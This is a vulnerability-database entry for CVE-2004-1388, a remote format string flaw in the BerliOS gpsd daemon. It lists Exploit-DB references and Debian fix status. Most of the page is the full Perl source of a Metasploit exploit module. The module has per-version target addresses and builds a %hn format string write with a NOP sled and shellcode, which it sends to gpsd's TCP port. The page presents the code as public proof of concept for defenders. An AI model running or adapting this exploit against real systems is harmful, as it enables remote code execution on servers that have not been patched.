CVE-2004-1388

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0 through 2.7 allows remote attackers to execute arbitrary code via certain GPS requests containing format string specifiers that are not properly handled in syslog calls.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16853 remote linux verified
Metasploit · 2010-04-30

Berlios GPSD - Format String (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-10029 remote linux verified
Yann Senotier · 2005-05-25

Berlios GPSD 1.91-1 < 2.7-2 - Format String

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EDB-3099 remote linux verified text · 4 KB
Enseirb · 2007-01-08

Berlios GPSD 2.7 - Remote Format String (Metasploit)

text exploit Source: Exploit-DB
package Msf::Exploit::gpsd_format_string;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use IO::Socket;

my $advanced = { };

my $info = {
    'Name'     => 'Berlios GPSD Format String Vulnerability',
    'Version'  => '$ 1.0 $',
    'Authors'  => [ 'Enseirb <senotier [at] enseirb.fr>', ],
    'Arch'     => [ 'x86' ],
    'OS'       => [ 'linux' ],
    'Priv'     => 1,
    
    'UserOpts' =>
    {
	'RHOST' => [1, 'ADDR', 'The target address'],
	'RPORT' => [1, 'PORT', 'The target port', 2947],
		
    },
    
    'Payload' =>
    {
	'Space'    => 1004,
	'BadChars' => "\x00\x0a\x0d\x0c",
    },
    
    'Targets' =>
	
	[
	 [ "gpsd-1.91-1.i386.rpm", 0x0804f250,0x41424344 ], # .rpms Tested on Redhat 9.0
	 [ "gpsd-1.92-1.i386.rpm", 0x0804f630,0x41424344 ],
	 [ "gpsd-1.93-1.i386.rpm", 0x0804e154,0x41424344 ],
	 [ "gpsd-1.94-1.i386.rpm", 0x0804f260,0x41424344 ],
	 [ "gpsd-1.95-1.i386.rpm", 0x0804f268,0x41424344 ],
	 [ "gpsd-1.96-1.i386.rpm", 0x41424344,0x41424344 ],
	 [ "gpsd-1.97-1.i386.rpm", 0x0804b14c,0x41424344 ],
	 [ "gpsd-2.1-1.i386.rpm", 0x0804c7a0,0x41424344 ],
	 [ "gpsd-2.2-1.i386.rpm", 0x0804c7a0,0x41424344 ],
	 [ "gpsd-2.3-1.i386.rpm", 0x0804c730,0xbfffd661 ],
	 [ "gpsd-2.4-1.i386.rpm", 0x0804c7b8,0xbfffde71 ],
	 [ "gpsd-2.5-1.i386.rpm", 0x0804c7dc,0xbfffdc09 ],
	 [ "gpsd-2.6-1.i386.rpm", 0x0804c730,0xbffff100 ],
	 [ "gpsd-2.7-1.i386.rpm", 0x0804c5bc,0xbfffcabc ],
	 [ "gpsd_2.6-1_i386.deb", 0x0804c7c4,0xbfffedc8 ], 
	 [ "gpsd_2.7-1_i386.deb", 0x0804c6c4,0xbfffc818 ],
	 [ "gpsd_2.7-2_i386.deb", 0x0804c770,0xbfffee70 ],
	 ["SuSE 9.1 compiled 2.0", 0x0804c818,0xbfffe148 ], 
	 [ "Slackware 9.0 compiled 2.0", 0x0804b164,0xbfffd7d6 ],
	 [ "Slackware 9.0 compiled 2.7  ", 0x0804c3ec,0xbfffe65c ], 
	 [ "Debug              ", 0x41424344,0xdeadbeef ], 
	 ],


    'Description' =>
	Pex::Text::Freeform(qq{
	    This module exploits a format string vulnerability in the Berlios GPSD server.
		This vulnerability was discovered by Kevin Finisterre.
	    }),
		
    'Keys' => ['gpsd'],
		
		'DisclosureDate' => 'May 25 2005',
		
	    };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit {
    my $self = shift;
    my $target_idx  = $self->GetVar('TARGET');
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];
    
    $self->Print("[*] Reading information from target " . $target_host . ": ");
        
    my $offset = 17;
    my $dump_fmt = 7;
    my $al = 3;
    my ($hi,$lo);
    my ($shift0,$shift1);
    my $buf;
    
    $hi = ($target->[2] >> 0) & 0xffff;
    $lo = ($target->[2] >> 16) & 0xffff;

    $shift0 = sprintf("%d",$hi) - sprintf("%d",$offset) - ($dump_fmt * 8 + 16 + $al);
    $shift1 = (sprintf("%d",0x10000) +  sprintf("%d",$lo)) - sprintf("%d",$hi);

    $buf  = "A" x 3 . "B" x 4; 
    $buf .=  pack('V',$target->[1]);
    $buf .= "B" x 4;
    $buf .=  pack('V',$target->[1] + 0x2);
    $buf .= "%.8x" x7 ."%.".$shift0."lx%hn"."%.".$shift1."lx%hn";
    $buf .= $self->MakeNops(3000) . $shellcode ; 
    
    my $s = Msf::Socket::Tcp->new
	(
	 'PeerAddr'  => $target_host,
	 'PeerPort'  => $target_port,
	 );
    
    if ($s->IsError) {
	$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
	return;
    }
    
    $s->Send($buf);
    $s->Close();

	return;
}

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# milw0rm.com [2007-01-08]
EDB-775 remote linux verified
JohnH · 2005-01-26

Berlios GPSD 2.7.x - Remote Format String

Source code queued for fetch — refresh in a moment.

Metasploit modules

Berlios GPSD Format String Vulnerability
Source fetch failed: fetch_error — view the original via the link above.

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.7-4
sid Fixed 2.7-4
forky Fixed 2.7-4
bullseye Fixed 2.7-4
bookworm Fixed 2.7-4

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

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